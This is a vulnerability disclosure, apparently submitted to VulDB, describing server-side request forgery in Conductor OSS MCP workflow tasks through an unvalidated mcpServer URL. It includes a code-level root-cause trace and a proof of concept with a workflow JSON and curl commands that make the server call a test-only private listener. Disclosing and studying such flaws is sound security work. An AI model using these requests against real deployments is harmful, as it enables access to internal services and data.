Gửi #979790: Conductor OSS Conductor >= 3.22.0 (audited commit ce46eac) server-side request forgery (CWE-918)

MCP workflow task accepts an unrestricted attacker-controlled server URL

MCP workflow task accepts an unrestricted attacker-controlled server URL

Data flow: HTTP POST /api/metadata/workflow WorkflowDef tasks[].inputParameters.mcpServer → MCPService Request.Builder.url(serverUrl) -> OkHttpClient.newCall(request).execute()

AFFECTED INTERFACES
- POST /api/metadata/workflow JSON WorkflowDef then LIST_MCP_TOOLS or CALL_MCP_TOOL execution

Primary route detail:

The HTTP source is a workflow definition submitted to POST /api/metadata/workflow as JSON. The definition can contain LIST_MCP_TOOLS or CALL_MCP_TOOL tasks whose inputParameters.mcpServer is attacker-selected. The workflow is then started with POST /api/workflow/{name}; LIST_MCP_TOOLS performs discovery and CALL_MCP_TOOL sends a JSON-RPC request. Both task types are registered by ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ListMCPToolsTaskMapper.java:20-29 and CallMCPToolTaskMapper.java:20-29.

Authentication/authorization is deployment-specific. The prerequisite is a principal allowed to create/start workflows, plus conductor.integrations.ai.enabled=true; no anonymous access is claimed. The finding consolidates both MCP task types because they share one destination-validation root cause and one MCPService network implementation.

Harmless local-shape example (not sent by this audit):

{"name":"local_mcp_canary","version":1,"tasks":[{"name":"mcp","taskReferenceName":"mcp1","type":"LIST_MCP_TOOLS","inputParameters":{"mcpServer":"http://127.0.0.1:18082/mcp"}}]}

ROOT CAUSE
The explicit taint flow is:

HTTP JSON WorkflowDef.tasks[].inputParameters.mcpServer → workflow metadata/runtime mapping → MCPListToolsRequest.mcpServer or MCPToolCallRequest.mcpServer → MCPWorkers.listTools()/callTool() → MCPService.listTools()/callTool() → OkHttp Request.Builder.url(serverUrl) → httpClient.newCall(request).execute().

Relevant code evidence at the audited commit:

- rest/src/main/java/com/netflix/conductor/rest/controllers/MetadataResource.java:51-70 accepts the attacker-controlled workflow definition.
- ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/MCPWorkers.java:58-63 passes request.getMcpServer() to MCPService.listTools(); :80-93 does the equivalent for tool calls.
- ai/src/main/java/org/conductoross/conductor/ai/mcp/MCPService.java:69-70,82-87 forwards the supplied server URL without an application destination policy.
- MCPService.java:101-125 builds an HTTP request with url(serverUrl) for tool listing and executes it through execute(); :207-239 does the same for tool calls; :375-400 follows up to five redirects but only protects sensitive headers across origins.

The root cause is unrestricted use of a workflow-controlled MCP server URL as an outbound network destination. The code does not reject loopback, link-local, private, reserved, or cloud-metadata-style destinations, and its redirect logic is not a private-address policy. Header CR/LF checks, bounded response bodies, and cross-origin credential handling do not prevent the initial SSRF.

Impact is server-side access to HTTP services reachable from the Conductor server, and the response is parsed into workflow output. The impact is bounded by deployment network permissions; this report does not contact or claim access to any real internal service. AI integration, task execution, and workflow-author permission are required.

PROOF OF CONCEPT

Baseline: commit ce46eac, server on 127.0.0.1:18080 with
conductor.integrations.ai.enabled=true. The destination is a test-local HTTP listener at
192.168.240.2:18081 (a separate container on a test-only bridge network).

1. Register a workflow whose MCP task points at the listener (no Authorization header):

$ cat mcp-workflow.json
{
"name": "mcp-discovery-test",
"version": 1,
"tasks": [{
"name": "mcp_canary",
"taskReferenceName": "mcp_canary_ref",
"type": "LIST_MCP_TOOLS",
"inputParameters": { "mcpServer": "http://192.168.240.2:18081/mcp" }
}],
"schemaVersion": 2,
"ownerEmail": "[email protected]",
"timeoutPolicy": "ALERT_ONLY",
"timeoutSeconds": 0
}

$ curl -s -o /dev/null -w '%{http_code}' -X POST 'http://127.0.0.1:18080/api/metadata/workflow' \
-H 'Content-Type: application/json' -d @mcp-workflow.json
200

2. Start it (no Authorization header):

$ curl -s -X POST 'http://127.0.0.1:18080/api/workflow/mcp-discovery-test' \
-H 'Content-Type: application/json' -d '{"version":1}'
3970b78f-0ebe-4577-9ab0-8c15e2eb0586

3. What the listener received - the JSON-RPC discovery call issued by MCPService.listTools():

$ cat mock-requests.jsonl
method=POST path=/mcp canary=local-ssrf-canary
{"jsonrpc":"2.0","method":"tools/list","id":1}

4. Workflow result (GET /api/workflow/{id}?includeTasks=true): status COMPLETED, and the
listener's tool definition is present in the task output:

{"status": "COMPLETED", "tasks": [{"taskType": "LIST_MCP_TOOLS", "status": "COMPLETED",
"inputData": {"mcpServer": "http://192.168.240.2:18081/mcp"},
"outputData": {"tools": [{"name": "local_canary_tool", "description": "local-ssrf-canary"}]}}]}

IMPACT

See the interface and root-cause sections: an actor who satisfies the stated preconditions makes the server perform a request or operation on a destination/target of the attacker's choosing, crossing the trust boundary described above.

- Project repository: https://github.com/conductor-oss/conductor
- Security policy: `SECURITY.md` in that repository.

- **Vendor contact**: GitHub Private Vulnerability Reporting - conductor-oss/conductor
- **Status**: vendor notified 2026-09-14 through GitHub Private Vulnerability Reporting; private report https://github.com/conductor-oss/conductor/security/advisories/GHSA-r576-rq4m-x4gf; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.

• Người dùng: lucasg2g (UID 84737)
• Đệ trình: 15/09/2026 09:22 (cách đây 28 ngày)
• Kiểm duyệt: 12/10/2026 16:44 (27 days later)
• Trạng thái: được chấp nhận
• Mục VulDB: 416944 [conductor-oss conductor 3.22.0 MCP Service MCPService.java MCPService.listTools mcpServer nâng cao đặc quyền]
• điểm: 17